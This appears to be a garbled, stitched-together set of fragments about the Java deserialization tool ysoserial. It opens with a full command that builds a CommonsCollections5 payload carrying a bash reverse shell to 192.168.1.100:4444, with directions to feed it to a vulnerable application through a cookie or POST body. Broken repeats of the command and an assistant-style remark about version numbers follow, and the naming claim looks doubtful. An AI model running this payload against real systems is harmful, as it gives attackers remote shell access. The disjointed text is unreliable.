java -jar ysoserial-0.0.4-all.jar CommonsCollections5 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'
Send the generated payload.bin data to the vulnerable application's input stream (e.g., via a base64-encoded cookie or POST body). ysoserial-0.0.4-all.jar download
The name "ysoserial" is a play on "JSON serialization," but its real power lies in binary Java serialization. java -jar ysoserial-0
If you are a developer, consider running ysoserial against your own application today—you might be surprised at what you find. & /dev/tcp/192.168.1.100/4444 0>
as of my knowledge is typically ysoserial-0.0.6 or newer. Version 0.0.4 is quite old (from around 2016-2017).